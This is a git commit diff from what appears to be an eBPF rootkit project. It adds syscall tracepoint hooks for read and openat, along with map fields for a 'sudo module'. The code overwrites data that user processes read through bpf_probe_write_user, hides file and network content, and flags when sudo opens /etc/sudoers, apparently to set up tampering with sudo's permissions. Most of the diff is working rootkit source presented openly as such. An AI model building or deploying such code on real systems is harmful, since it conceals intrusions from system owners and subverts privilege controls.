Added new hooks and updated map fields to support new sudo module.

This commit is contained in:
h3xduck
2022-02-05 13:49:20 -05:00
parent 2b50d376a6
commit 643783004a
12 changed files with 1675 additions and 1346 deletions

View File

@@ -19,6 +19,7 @@
"netlink.h": "c", "netlink.h": "c",
"bpf_helper_defs.h": "c", "bpf_helper_defs.h": "c",
"bpf.h": "c", "bpf.h": "c",
"stddef.h": "c" "stddef.h": "c",
"ring_buffer.h": "c"
} }
} }

Binary file not shown.

File diff suppressed because it is too large Load Diff

Binary file not shown.

View File

@@ -6,8 +6,14 @@
#define SECRET_PACKET_DEST_PORT 9000 #define SECRET_PACKET_DEST_PORT 9000
#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)" #define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"
//FS //FS
#define STRING_FS_HIDE "This won't be seen" #define STRING_FS_HIDE "This won't be seen"
#define STRING_FS_OVERWRITE "That is now hidden" #define STRING_FS_OVERWRITE "That is now hidden"
#define STRING_FS_SUDO_TASK "sudo"
#define STRING_FS_SUDO_TASK_LEN 5
#define STRING_FS_SUDOERS_FILE "/etc/sudoers"
#define STRING_FS_SUDOERS_FILE_LEN 13
#endif #endif

View File

@@ -0,0 +1,28 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
//Tasks and comms
#define TASK_COMM_LEN 16
//File system data of a running program which opened some fd
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
#define FS_OPEN_DATA_FILENAME_SIZE 16
struct fs_open_data{
char* buf;
int fd;
__u32 pid;
char program_name[FS_OPEN_DATA_PROGRAM_NAME_SIZE];
char filename[FS_OPEN_DATA_FILENAME_SIZE];
int is_sudo;
};
struct fs_open{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 4096);
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
#endif

View File

@@ -9,6 +9,7 @@
#include <linux/ptrace.h> #include <linux/ptrace.h>
#include <linux/stat.h>*/ #include <linux/stat.h>*/
#include <ctype.h> #include <ctype.h>
#include <string.h>
#include <bpf/bpf_helpers.h> #include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h> #include <bpf/bpf_tracing.h>
@@ -17,11 +18,12 @@
#include "../../../common/constants.h" #include "../../../common/constants.h"
#include "../../../common/map_common.h" #include "../../../common/map_common.h"
#include "../data/ring_buffer.h" #include "../data/ring_buffer.h"
#include "map_defs.h" #include "defs.h"
#include "../utils/strings.h" #include "../utils/strings.h"
/** /**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673 * >> cat /sys/kernel/debug/tracing/events/syscalls/sys_exit_read/format
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
*/ */
struct sys_read_exit_ctx { struct sys_read_exit_ctx {
unsigned long long unused; //Pointer to pt_regs unsigned long long unused; //Pointer to pt_regs
@@ -30,7 +32,8 @@ struct sys_read_exit_ctx {
}; };
/** /**
* https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588 * >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_read/format
* Also https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
*/ */
struct sys_read_enter_ctx { struct sys_read_enter_ctx {
unsigned long long unused; //Pointer to pt_regs unsigned long long unused; //Pointer to pt_regs
@@ -41,56 +44,40 @@ struct sys_read_enter_ctx {
size_t count; size_t count;
}; };
/**
* >> cat /sys/kernel/debug/tracing/events/syscalls/sys_enter_open/format
*/
struct sys_openat_enter_ctx {
unsigned long long unused;
int __syscall_nr;
unsigned int padding;
int dfd;
char* filename;
unsigned int flags;
umode_t mode;
};
static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){ static __always_inline int handle_tp_sys_enter_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
__u64 pid_tgid = bpf_get_current_pid_tgid(); __u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 pid = pid_tgid >> 32; __u32 pid = pid_tgid >> 32;
struct fs_open_data data = {
.buf = buf, struct fs_open_data *stored_data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
.fd = fd, if (stored_data == NULL){
.pid = pid //Not found
}; //bpf_printk("Not found\n");
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY); return -1;
}
struct fs_open_data data = *stored_data;
data.buf = buf;
data.fd = fd;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_EXIST);
//bpf_printk("IN PID: %u, FS:%u\n", pid, fd); //bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
return 0; return 0;
} }
static __always_inline int handle_sys_write(struct sys_read_enter_ctx *ctx, int fd, char* buf){ static __always_inline int handle_tp_sys_exit_read(struct sys_read_exit_ctx *ctx, __u64 pid_tgid){
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("tp/syscalls/sys_enter_read")
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){
bpf_printk("Error\n");
return 0;
}
int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf;
return handle_tp_sys_enter_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*
*/
SEC("tp/syscalls/sys_exit_read")
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid); struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data == NULL || data->buf == NULL){ if (data == NULL || data->buf == NULL){
//Not found //Not found
@@ -126,10 +113,11 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
//bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf); //bpf_printk("Discarded string at pid cause c %u, %s\n", pid, buf);
return -1; return -1;
} }
} }
bpf_printk("Overwritting at pid %u, %s\n", pid, buf); bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
bpf_printk("Filename is %s\n", data->filename);
bpf_printk("and program name is %s\n", data->program_name);
if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){ if(bpf_probe_write_user((void*)buf, (void*)msg_overwrite, (__u32)sizeof(msg_overwrite)-1)<0){
bpf_printk("Error writing to user memory\n"); bpf_printk("Error writing to user memory\n");
} }
@@ -138,4 +126,106 @@ int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
return 0; return 0;
} }
static __always_inline int handle_tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx, __u64 pid_tgid){
char comm[TASK_COMM_LEN] = {0};
int err = bpf_get_current_comm(comm, sizeof(comm));
/*struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
if (data == NULL || data->buf == NULL){
//Not found
bpf_printk("Not found in openat\n");
return -1;
}*/
if(err < 0){
return -1;
}
char filename[STRING_FS_SUDOERS_FILE_LEN] = {0};
bpf_probe_read_user(&filename, STRING_FS_SUDOERS_FILE_LEN, (char*)ctx->filename);
__u32 pid = pid_tgid >> 32;
struct fs_open_data data = {
.pid = pid
};
bpf_probe_read(data.filename, STRING_FS_SUDOERS_FILE_LEN, filename);
bpf_probe_read(data.program_name, FS_OPEN_DATA_PROGRAM_NAME_SIZE, comm);
//Check task is sudo
char *sudo = STRING_FS_SUDO_TASK;
if(str_n_compare(comm, TASK_COMM_LEN, sudo, STRING_FS_SUDO_TASK_LEN, STRING_FS_SUDO_TASK_LEN) != 0){
data.is_sudo = 0;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
return 0;
}
//Check filename is the sudoers file
char *sudoers = STRING_FS_SUDOERS_FILE;
if(str_n_compare(filename, STRING_FS_SUDOERS_FILE_LEN, sudoers, STRING_FS_SUDOERS_FILE_LEN, STRING_FS_SUDOERS_FILE_LEN) != 0){
data.is_sudo = 0;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
return 0;
}
data.is_sudo = 1;
bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
bpf_printk("It was a sudo!\n");
return 0;
}
/**
* @brief Receives read event and stores the parameters into internal map
*
*/
SEC("tp/syscalls/sys_enter_read")
int tp_sys_enter_read(struct sys_read_enter_ctx *ctx) {
struct sys_read_enter_ctx *rctx = ctx;
if (ctx == NULL){
bpf_printk("Error\n");
return 0;
}
int fd = (int) ctx->fd;
char *buf = (char*) ctx->buf;
return handle_tp_sys_enter_read(ctx, fd, buf);
}
/**
* @brief Called AFTER the ksys_read call, checks the internal
* map for the tgid+pid used and extracts the parameters.
* Uses the user-space buffer reference for overwritting the returned
* values.
*/
SEC("tp/syscalls/sys_exit_read")
int tp_sys_exit_read(struct sys_read_exit_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
//bpf_printk("OUT PID: %u\n", pid_tgid>>32);
return handle_tp_sys_exit_read(ctx, pid_tgid);
}
/**
* @brief
*
*/
SEC("tp/syscalls/sys_enter_openat")
int tp_sys_enter_openat(struct sys_openat_enter_ctx *ctx){
__u64 pid_tgid = bpf_get_current_pid_tgid();
if(pid_tgid<0){
//bpf_printk("Out\n");
return -1;
}
return handle_tp_sys_enter_openat(ctx, pid_tgid);
}
#endif #endif

View File

@@ -1,20 +0,0 @@
#ifndef __BPF_MAP_DEFS_H
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
//File system
struct fs_open_data{
char* buf;
int fd;
__u32 pid;
};
struct fs_open{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024*sizeof(struct fs_open_data));
__type(key, __u64); //thread group id(MSB) + pid (LSB)
__type(value, struct fs_open_data);
} fs_open SEC(".maps");
#endif

View File

@@ -58,10 +58,6 @@ static __always_inline char* str_n_copy(char *dest, const char *src, int count){
return dest; return dest;
} }
/**
* @brief Checks if string is a
*
*/

View File

@@ -16,9 +16,15 @@ int attach_tp_sys_exit_read(struct kit_bpf *skel){
skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read); skel->links.tp_sys_exit_read = bpf_program__attach(skel->progs.tp_sys_exit_read);
return libbpf_get_error(skel->links.tp_sys_exit_read); return libbpf_get_error(skel->links.tp_sys_exit_read);
} }
int attach_tp_sys_enter_openat(struct kit_bpf *skel){
skel->links.tp_sys_enter_openat = bpf_program__attach(skel->progs.tp_sys_enter_openat);
return libbpf_get_error(skel->links.tp_sys_enter_openat);
}
int attach_fs_all(struct kit_bpf *skel){ int attach_fs_all(struct kit_bpf *skel){
return attach_tp_sys_enter_read(skel) || attach_tp_sys_exit_read(skel); return attach_tp_sys_enter_read(skel) ||
attach_tp_sys_exit_read(skel) ||
attach_tp_sys_enter_openat(skel);
} }
@@ -38,9 +44,19 @@ int detach_tp_sys_exit_read(struct kit_bpf *skel){
} }
return 0; return 0;
} }
int detach_tp_sys_enter_openat(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.tp_sys_enter_openat);
if(err<0){
fprintf(stderr, "Failed to detach fs link\n");
return -1;
}
return 0;
}
int detach_fs_all(struct kit_bpf *skel){ int detach_fs_all(struct kit_bpf *skel){
return detach_tp_sys_enter_read(skel) || detach_tp_sys_exit_read(skel); return detach_tp_sys_enter_read(skel) ||
detach_tp_sys_exit_read(skel) ||
detach_tp_sys_enter_openat(skel);
} }
#endif #endif

View File

@@ -15,7 +15,8 @@ module_config_t module_config = {
.fs_module = { .fs_module = {
.all = ON, .all = ON,
.tp_sys_enter_read = OFF, .tp_sys_enter_read = OFF,
.tp_sys_exit_read = OFF .tp_sys_exit_read = OFF,
.tp_sys_enter_openat = OFF
} }
}; };
@@ -59,6 +60,7 @@ int setup_all_modules(){
}else{ }else{
if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel); if(config.fs_module.tp_sys_enter_read == ON) ret = attach_tp_sys_enter_read(attr.skel);
if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel); if(config.fs_module.tp_sys_exit_read == ON) ret = attach_tp_sys_exit_read(attr.skel);
if(config.fs_module.tp_sys_enter_openat == ON) ret = attach_tp_sys_enter_openat(attr.skel);
} }
if(ret!=0) return -1; if(ret!=0) return -1;

View File

@@ -27,6 +27,7 @@ typedef struct module_config_t{
char all; char all;
char tp_sys_enter_read; char tp_sys_enter_read;
char tp_sys_exit_read; char tp_sys_exit_read;
char tp_sys_enter_openat;
}fs_module; }fs_module;
} module_config_t; } module_config_t;